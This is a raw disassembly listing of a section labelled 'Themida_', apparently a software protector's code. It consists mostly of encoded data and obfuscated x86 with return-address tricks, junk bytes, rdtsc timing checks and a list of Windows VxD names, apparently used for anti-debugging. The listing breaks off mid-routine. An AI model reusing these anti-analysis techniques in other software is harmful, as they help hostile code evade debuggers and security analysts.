		dd 16970E00h, 7481103Fh, 8FB9E6F8h, 0A387FB7Ch,	31C59D89h
		dd 74030611h, 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8D76C3h, 611304Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 13C35040h, 4E7E9C50h
		dd 87E2644Ah, 5D9501A0h, 0AD06111Dh, 6860Fh, 9D010000h
		dd 6111D11h, 24247C81h,	10000000h, 119870Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0ADF7EC3h, 60ADC123h, 0AA6BB857h, 0E8591F5Bh, 5, 4B34C355h
		dd 615FFCFBh, 60525050h, 9E9h, 0D1239A00h, 1D17684h, 8B66A219h
		dd 310F61CBh, 880F5250h, 0
		dd 5250310Fh, 585A310Fh, 585A585Ah, 0F8240489h,	2824448Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D7C35242h
		dd 0E92C214Eh, 0Ah, 682DBFABh, 0EC594811h, 5050A136h, 17800F52h
		dd 0E9000000h, 12h, 33699306h, 8CF1AFD0h, 0D6EFD0F3h, 2B33EAFDh
		dd 310F389Fh, 50616060h, 5A310F52h, 585A6158h, 0F240489h
		dd 688h, 49858900h, 0FC061118h,	4AC0858Dh, 9D890614h, 6112DD5h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 300B62C3h, 0F517E49h, 0E8Dh, 0B58B6000h
		dd 6111B6Dh, 840Fh, 3610000h, 0F242444h, 183h, 6AABFC00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 9555C350h, 0DB09CE8Eh, 0FA81C1h, 0F000100h
		dd 72182h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A1959FFh, 4267785Dh, 8DF8D776h
		dd 1122F5BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0DC04A963h, 433ED375h, 57006AADh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8158F1A3h, 24247Ch, 0F100000h, 12F87h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 6EFA14E9h, 5090F81Ah, 14850F52h, 0E9000000h,	0Fh, 4A3C0989h
		dd 96643E3Ah, 422482ACh, 0F3FFF85h, 11E931h, 4240000h
		dd 74B6D8E9h, 0AF535337h, 8AA5B87Ah, 5A845820h,	60605058h
		dd 11E8h, 0BD577A00h, 0CE3AFA08h, 0A71673Dh, 0A7765225h
		dd 61593788h, 0AD2BBA66h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 6DC286C3h, 6AF20F26h
		dd 0FF5B243h, 184h, 448BFC00h, 6A2824h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 9A592EC3h
		dd 0FC5C4A96h, 525090F8h, 810F5250h, 0
		dd 6160310Fh, 310F585Ah, 2840Fh, 61600000h, 6050585Ah
		dd 0F08AD08Bh, 0BD319061h, 6112775h, 4AC0858Dh,	6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 2809FDC3h, 0FC5CE72h, 885h, 28C0F00h, 60000000h, 0F5D0FF61h
		dd 24244403h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	48C35545h, 5AF950D6h, 96B4EF9Eh, 31059531h, 60900611h
		dd 13E8h, 0FE348800h, 94C55664h, 860D9980h, 0C8B1BAC1h
		dd 6917AE88h, 5FC28B66h, 0DE8h,	3C825400h, 64D95E15h, 0E1CA476Bh
		dd 6160164Bh, 6050615Bh, 0DE860h, 7ABC0000h, 7821A297h
		dd 0D38CD15Bh, 5A3DB767h, 61615E53h, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 902B5612h
		dd 48D0B60Ch, 239BD29h,	60AB0611h, 2A8D9D29h, 8B660611h
		dd 0BD8D61C7h, 6111DF9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0C8C35141h, 888443A4h, 2C072CCAh, 6AAD92h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 850196C3h, 6110EC1h,	28247C81h, 10000000h, 0B6870Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D38C4C3h, 1FD59D89h, 29F80611h, 11038585h
		dd 66605006h, 665078BAh, 8961C38Bh, 8B602404h, 11305595h
		dd 421BB906h, 0E9613D91h, 9, 6C5C5793h,	37FF4D79h, 24448B74h
		dd 4985292Ch, 0F8061128h, 0B880F50h, 0E9000000h, 6, 0C8ECCB78h
		dd 4897CFDh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 8E412593h, 0E94CA5C2h, 0Dh, 0E1194E1Fh
		dd 0EE0A0038h, 39253B18h, 0C0858D53h, 0F506144Ah, 0B589D0FFh
		dd 6110A1Dh, 28244403h,	9509ABF9h, 611322Dh, 648DFF5Eh
		dd 83061474h, 147464BDh, 0A750006h, 0B58DC033h,	61482E6h
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 4AC0858Dh, 0D0FF0614h, 28244403h, 8ADF8B97h,	14746085h
		dd 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 0D585FF04h, 0E9061103h, 0FFFFFF5Dh
		dd 50006A5Eh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0C025B075h, 0F8DB531h, 6A0611h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FC465C3h, 0A8Ch, 58576000h,	830Fh, 0F5610000h, 3D5858Bh
		dd 0E9FC0611h, 0Eh, 636BD0AFh, 0B7027F49h, 42B903EEh, 0E0D1C888h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 74C35747h
		dd 3FB88CBh, 3415B501h,	85030611h, 6111DF9h, 68B0Fh, 0BD890000h
		dd 611022Dh, 6AF62Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 4BCD82C3h, 0AC87392h, 60762E26h
		dd 44D9D29h, 31610611h,	110805BDh, 6A9606h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0FB025BC3h
		dd 2964F0DDh, 111DF1B5h, 10E906h, 6B910000h, 85C5392h
		dd 0D0826083h, 0D3D39824h, 0AD668EFCh, 1870Fh, 0C1FC0000h
		dd 3F802E0h, 11304D85h,	0D5BD3106h, 96061131h, 0FE9ADF5h
		dd 86000000h, 6F8938D0h, 6934E978h, 1BACC55Eh, 7C81D30Ch
		dd 2424h, 870F1000h, 0E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0EFC35242h, 32A35720h, 6E92C40h, 0D5000000h
		dd 9A17492Bh, 830F90A4h, 0Eh, 0F525060h, 50585A31h, 5A310F52h
		dd 50506158h, 50525052h, 5A310F52h, 0E9310F58h,	8, 1077BC03h
		dd 4C84F789h, 310F585Ah, 28A0Fh, 61600000h, 0F990585Ah
		dd 2824448Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	32C35242h, 45A64512h, 9E990F2h,	0E5000000h, 0E4703FB6h
		dd 0A2D8C542h, 13820F50h, 0F000000h, 0D8Fh, 8E900h, 9AC30000h
		dd 35051338h, 190FE19h,	112AD595h, 0C0858D06h, 0F06144Ah
		dd 0E8Eh, 9D896000h, 611295Dh, 2B4D9589h, 0FF610611h, 71BD01D0h
		dd 3061131h, 6A242444h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8A2DC351h, 947AE338h
		dd 16C6F00Fh, 1C244489h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0A6C35646h, 958B60F9h, 6110F81h, 0D185C661h
		dd 61106h, 75D685C7h, 614h, 85C70000h, 6147468h, 0
; ---------------------------------------------------------------------------
		jmp	loc_581EFC
; ---------------------------------------------------------------------------
		pop	edi
		mov	al, 6Fh
		stc
		das
		rcr	dword ptr [eax], cl


loc_581EFC:				; CODE XREF: Themida_:00581EF0j
		push	0
		push	ecx
		call	sub_581F07
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581F07	proc near		; CODE XREF: Themida_:00581EFFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_581F07	endp

; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------
		clc
		clc
		popa
		push	0
		push	ebp
		call	sub_581F26
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581F26	proc near		; CODE XREF: Themida_:00581F1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_581F26	endp

; ---------------------------------------------------------------------------
		imul	esi, [ecx+ebp*8], 3D8589FCh
		sub	[ecx], edx
		push	es
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh
		dd 186h, 858BF800h, 611304Dh, 31F1B589h, 604A0611h, 0AE8h
		dd 15E23200h, 7C867EA4h, 0BB5FAE00h, 36E9A2C0h,	9DEF815Eh
		dd 61369304h, 0E904D26Bh, 0Bh, 0C0189DC2h, 0BD6CE064h
		dd 3045A9Fh, 50006AC2h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 5ED4D2F5h, 188D0FCAh, 0E9000000h
		dd 13h,	0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h, 965658E2h
		dd 2C618531h, 0FAD0611h, 1A8Ah,	148E0F00h, 0E9000000h
		dd 0Fh,	6B5D8F80h, 0F210FABEh, 5E625AF5h, 81459488h, 24247Ch
		dd 0F100000h, 13287h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 882DDFD7h, 0D98D899Dh
		dd 2906110Fh, 11158D85h, 18D0F06h, 0F5000000h, 52506090h
		dd 310FCE8Ah, 585ACF8Bh, 52505061h, 13E9h, 8A866400h, 15CAC3C3h
		dd 7324397Ch, 0D6AE591Ah, 1E07BE6Eh, 14E9310Fh,	0CB000000h
		dd 884C3E5h, 5E7F353Bh,	0DED69E83h, 0D893476Ah,	5A838EB0h
		dd 89F59058h, 1132A9B5h, 24448B06h, 51006A28h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BE4F1A31h
		dd 0FCE75B76h, 0E9F5BBC2h, 13h,	84C89D32h, 0FD33E4FFh
		dd 0E161465h, 203A4CDBh, 90FAA5A8h, 60525060h, 8A310F61h
		dd 61585AE6h, 0F525050h, 0D8Bh,	8E900h,	53160000h, 0CC1CDF00h
		dd 310FAF57h, 0CE9h, 45070B00h,	4EC6D899h, 0A90D9E2h, 90585A1Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C0C35646h
		dd 858DF533h, 6144AC0h,	18B0Fh,	0FFF80000h, 5E9D0h, 65F20000h
		dd 0E9F4F693h, 0FFFFFD4Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0EC35141h, 0D632717Fh, 360034DAh, 11E9h
		dd 9FE06D00h, 1288E47h,	0FC67B212h, 0FDA66D42h,	858DC5BAh
		dd 6148968h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D4C35747h, 50AC1CBFh, 0F28B6660h, 8961CE8Bh, 8D892404h
		dd 611311Dh, 35FF64h, 60000000h, 0FDDCB866h, 61C1B70Fh
		dd 6A24048Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BC0C355h, 0CE985DEh, 0E1000000h
		dd 5902C13Eh, 0EEEB2706h, 29073E2Fh, 1125BD85h,	91858906h
		dd 6006110Fh, 31E19509h, 0CA800611h, 8964610Bh,	25h, 0EE900h
		dd 4CFC0000h, 82D57EE5h, 0BD04B873h, 0FCCB6827h, 19800Fh
		dd 14E90000h, 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h
		dd 819151A8h, 8D9BB0EBh, 1486F485h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B509529Fh
		dd 6110BB1h, 89016089h,	110C8195h, 2EDE906h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0BE8959C3h, 198C0F08h, 0F000000h, 138Ch, 0EE900h, 6BBF0000h
		dd 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh, 0E8DB8Bh,	5D000000h
		dd 86EDED81h, 9CBC0614h, 830012FFh, 11244DBDh, 18740006h
		dd 3101858Bh, 0C60611h,	6D858B00h, 0C6061100h, 95FF0000h
		dd 61132A5h, 6CB5FF60h,	8D061470h, 14707085h, 858D5006h
		dd 6147268h, 1D95FF50h,	83061128h, 6A610CC4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 5EC0C351h, 709ACB9Eh, 10E9C9h, 88B0000h, 37946268h
		dd 0F1542DF3h, 8BF3152Bh, 6AFBB0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 1F8A6C3h, 1127998Dh
		dd 0B58DFC06h, 6147268h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 1C35040h, 0F8FAA901h,	0C800Fh, 860F0000h
		dd 6, 32D1B589h, 0BD8D0611h, 6111001h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0DAC35747h,	7E60EF8Ah, 18F0Fh
		dd 80FC0000h, 840F003Eh, 6Bh, 759BD29h,	6AA40611h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 13E7C351h, 76F2432Ah, 68E0F07h, 60000000h, 0F58A5F57h
		dd 0FFBDE961h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 10F34CC3h, 80757355h, 810FE1F0h
		dd 6, 1799B529h, 2BF80611h, 9E9C0h, 0C2DB0000h,	35B36630h
		dd 0AA77F967h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	1FC35141h, 128186CDh, 8423932h,	0B1BD8939h, 0F061122h
		dd 0E8Eh, 950B6000h, 611053Dh, 15A18589h, 0B8610611h, 7
		dd 0DE860h, 0BF9A0000h,	25067702h, 0F4F80246h, 66F426D0h
		dd 8159D98Bh, 3FDD28C1h, 85C7611Fh, 6110EE1h, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7C35040h, 66869841h
		dd 0F9955E39h, 830FFCB5h, 6, 0DA19509h,	8D8D0611h, 6114E3Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FDC35242h
		dd 6AE1FF2Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 60EBC357h, 8BF2B70Fh, 113061BDh
		dd 5C8B6106h, 0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6148972h
		mov	eax, [ebx+0B8h]
		mov	[ebp+614706Ch],	eax
		lea	eax, [ebp+61486E6h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_582566
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582566	proc near		; CODE XREF: Themida_:0058255Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_582566	endp

; ---------------------------------------------------------------------------
		dw 0F39h
		dd 0E8Ch, 95896000h, 6111C95h, 2BF19D89h, 0F8610611h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 8FC35040h, 8A3B2716h
		dd 5E966h, 1A7C0000h, 609B372Ch, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 0E9C35646h,	13E9606Bh, 0E000000h
		dd 0CEF54E83h, 2122D4C6h, 5208DF8h, 0FD44FF24h,	95315900h
		dd 6113169h, 0C7858D61h, 6A06148Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6030C355h
		dd 0B8F7BF0Fh, 40390794h, 8B609061h, 1EBF66F8h,	50506182h
		dd 10E952h, 2B880000h, 1CBCFAD2h, 312F67FBh, 75A799FAh
		dd 310F182Ch, 8F0F60h, 0F000000h, 82h, 585A6100h, 0BD9D3190h
		dd 64061108h, 35FFh, 64FC0000h,	2589h, 0B5290000h, 6110E31h
		dd 0E99BD01h, 858D0611h, 6148C4Bh, 0CB99529h, 60890611h
		dd 0D9958901h, 60061127h, 0CCC78166h, 758D33C2h, 61061124h
		dd 6D185C6h, 6A4F0611h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0CDA1C356h,	0C5AD80E8h
		dd 7E9D479h, 33000000h,	88F68F53h, 96680ABCh, 50BAED75h
		dd 8F0F6052h, 0
		dd 0AE8h, 0D1AC5B00h, 0D3A6EBFFh, 5F83BF21h, 50310F61h
		dd 8E0F52h, 0F000000h, 0F525031h, 5A585A31h, 81585A58h
		dd 1BC2434h, 6A4425h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF4145C3h, 110FD1B5h, 699D3106h
		dd 8D061106h, 14747F85h, 0BD8B6006h, 611154Dh, 7E9h, 0E73C5400h
		dd 0FC9674C7h, 6AD0FF61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 9B96C350h, 0CB2411ACh
		dd 61B58B60h, 0F061132h, 488h, 0BE6600h, 8AE961D5h, 89000000h
		dd 1130F1B5h, 245C8B06h, 0E8550Ch, 5D000000h, 8BD1ED81h
		dd 858B0614h, 6110ED1h,	0FD18589h, 858B0611h, 6110B09h
		dd 2618589h, 858B0611h,	6111795h, 2BB18589h, 85C60611h
		dd 61106D1h, 0D685C700h, 61475h, 8D000000h, 148C4B85h
		dd 0B8838906h, 5D000000h, 6AC3C033h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E21BC352h
		dd 0E31A9DA4h, 0E98F501Ch, 5, 551DD8D6h, 0FF74BC9Eh, 6A0012h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 21804CC3h, 58F64EEh,	0
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_58284B
; ---------------------------------------------------------------------------
		dw 46BBh
		dd 286687C8h
		db 0A9h, 0A3h, 1Ch
; ---------------------------------------------------------------------------


loc_58284B:				; CODE XREF: Themida_:0058283Dj
		mov	edi, ecx
		popa
		add	esp, 4
		add	[ebp+6110535h],	edi
		clc
		popa
		jmp	short loc_58288F
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		dd 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_58288F:				; CODE XREF: Themida_:00582859j
		jmp	loc_58303F
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_5828A6
; ---------------------------------------------------------------------------
		stc
		div	esp
		adc	[ebp+edi*8-1979B38h], edi
		xor	[edx], al


loc_5828A6:				; CODE XREF: Themida_:00582895j
		mov	ax, 4904h
		popa
		pusha
		cld
		mov	dword ptr [ebp+6148CBDh], 0
		push	0
		push	eax
		call	sub_5828C2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5828C2	proc near		; CODE XREF: Themida_:005828BAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5828C2	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [ecx], 0F6C3CFB7h
		pusha
		xor	cx, 0BDE4h
		and	cx, 6CD3h
		popa
		mov	eax, esi
		push	0
		push	ebp
		call	sub_5828F1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5828F1	proc near		; CODE XREF: Themida_:005828E9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5828F1	endp

; ---------------------------------------------------------------------------
		db 0E0h, 57h, 63h
; ---------------------------------------------------------------------------
		adc	eax, 4DF05C5Bh
		movzx	ebx, ax
		push	0
		push	esi
		call	sub_582917
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582917	proc near		; CODE XREF: Themida_:0058290Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_582917	endp

; ---------------------------------------------------------------------------
		ja	short near ptr loc_58292F+3
		shr	eax, 10h
		push	0
		push	ebp


loc_58292F:				; CODE XREF: Themida_:00582927j
		call	sub_582937
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582937	proc near		; CODE XREF: Themida_:loc_58292Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_582937	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 11E9E3h, 5600000h, 0C105D764h, 0AB73E3BFh, 54C3B56Dh
		dd 66DF9CBFh, 6A08C8C1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 584FC355h, 89173A7Dh
		dd 148CC185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0F932E193h, 8CBC166h, 8860Fh, 810F0000h
		dd 2, 0FB836160h, 31850F40h, 60000000h,	0AE8h, 0A1039600h
		dd 8C8CFC99h, 60AC2EBCh, 0BF665B61h, 8D61FD47h,	148C95BDh
		dd 1890F06h, 0F5000000h, 1EDE9h, 18A0F00h, 0F8000000h
		dd 0F0DFB83h, 4A85h, 0B7BB6000h, 664009DDh, 0F61C38Bh
		dd 0A85h, 5E900h, 29560000h, 8D932860h,	148C9DBDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0C3EBCA71h, 0AA99C772h, 194E9F9h, 83FC0000h,	850F01FBh
		dd 0C5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	39C35747h, 0E26C2FACh, 0AD52B2FFh, 2870F60h, 60000000h
		dd 0E961FC61h, 8, 0E1D15618h, 0C844AC80h, 0A5BD8DF8h, 6A06148Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 50C2C351h, 0E960C8B5h, 0Eh, 8BE9A93Eh, 0C345F106h
		dd 74AF2D24h, 6061FE3Eh, 0BE9h,	0F7B2200h, 878EECF1h, 0FC5C079Ch
		dd 2830Fh, 59560000h, 0F4E961h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 468172C3h
		dd 0F8D11226h, 8E9h, 0F9AAC800h, 740C2E5Ch, 2AFB8305h
		dd 5F850Fh, 0DE90000h, 5D000000h, 4C50E32Eh, 0FDF30719h
		dd 0F15EBDA5h, 8CADBD8Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E9C2D8C3h, 82h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 72C35747h, 8D7D7D2Dh
		dd 0FC3F2153h, 27FB83F5h, 36D850Fh, 66600000h, 60E9BEBEh
		dd 6E9h, 0C4436400h, 0F525B23h,	8Dh, 8D616100h,	148CB5BDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 53E79898h, 0E1DA6543h, 0CE9FCh, 0C3000000h
		dd 775B2631h, 2D1F9E9h,	0BD8969C9h, 6148CC5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A7C35646h, 972EC9C1h
		dd 8C66F936h, 12E9C8h, 0EF430000h, 0E0838803h, 80C74355h
		dd 794DFB12h, 240E290Ch, 6A0324h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0ADE21AC3h, 6E9h, 5EE4FC00h
		dd 0F9347D5Ah, 850FC00Ah, 1E3h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 20C35343h, 0F1A71D7h, 2AA38FA6h
		dd 1890F33h, 0F5000000h, 0C38B6660h, 0FE9h, 0D5BD1200h
		dd 9B01434Fh, 24211671h, 0E6B70A9Bh, 8DB58D61h,	0F9061493h
		dd 9406858Bh, 9E90614h,	7C000000h, 9189E25Eh, 90CDD929h
		dd 0E8C0F92h, 50000000h, 0F616052h, 0F525031h, 5A585A31h
		dd 52505058h, 61605250h, 5250310Fh, 585A310Fh, 310F585Ah
		dd 0BE9h, 0FF704000h, 0ED7D1D30h, 6BB649F8h, 6A92585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0A229C353h, 6660F9F3h, 4E5FC981h,	0FBBF0F60h
		dd 10F6161h, 0FFE244Ch,	0C89h, 6880F00h, 0F000000h, 86h
		dd 6A5A00h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0DA9BD4C3h, 0DE947h, 1A910000h, 82D6AA2Fh
		dd 0EFC83EB6h, 830016BEh, 66F824C2h, 6AFC7289h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0E3F5C356h, 12E92F21h, 70000000h, 7DC65942h,	4BACD548h
		dd 0F9D61373h, 0F6C979B0h, 10CEC112h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 5C35141h, 8966F8C7h, 6A0272h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0FE36D3C3h, 1F11A9F6h, 0FE971h, 3B420000h, 47851A47h
		dd 5F1A21F4h, 0ABC17978h, 6A04CDCBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B44DC351h
		dd 3DF3C73Ch, 0F822E7Ah, 884h, 28B0F00h, 60000000h, 86E961h
		dd 8BF50000h, 14940685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8D04F942h, 14938DB5h
		dd 17830F06h, 0F000000h, 1188h,	0CE900h, 0D0D10000h, 3E10365Dh
		dd 0CB45A9E2h, 858D7A5Bh, 6144438h, 19860Fh, 80600000h
		dd 0FE9B1EEh, 0C2000000h, 624E4659h, 74D8878Ah,	28F364A1h
		dd 0F61E3CCh, 1084h, 0A8E0F00h,	0E9000000h, 5, 19D0ADEDh
		dd 0F8D0FF03h, 8CBD8589h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 7764A5C3h, 22024028h
		dd 0F60564Fh, 7E9FBB7h,	0FB000000h, 2B75C4BDh, 6161FCA9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2AC35646h
		dd 0E9F86D14h, 14h, 7398C45Ah, 556AD4CEh, 31A2C705h, 32781217h
		dd 0E9F353D7h, 8CBD858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 5858C4C3h, 60F5C3F9h
		dd 7800Fh, 56600000h, 4CEF805Bh, 6BD8361h, 61494h, 3B850Fh
		dd 8F0F0000h, 16h, 11E9h, 0BDBEE400h, 0CCD9D29h, 0AB3E6BDDh
		dd 503F560Eh, 81605A68h, 0DF53ACDFh, 1890F5Eh, 0F8000000h
		dd 685C761h, 3F061494h,	60000101h, 0D18AFA8Bh, 1CE961h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 20CD53C3h, 0
; ---------------------------------------------------------------------------


loc_582FD0:				; CODE XREF: Themida_:00583009j
		or	eax, eax
		jz	short loc_58300B
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+6148CC5h]
		mov	ecx, 8


loc_582FE2:				; CODE XREF: Themida_:00582FE6j
		cmpsb
		jnz	short loc_583007
		dec	ecx
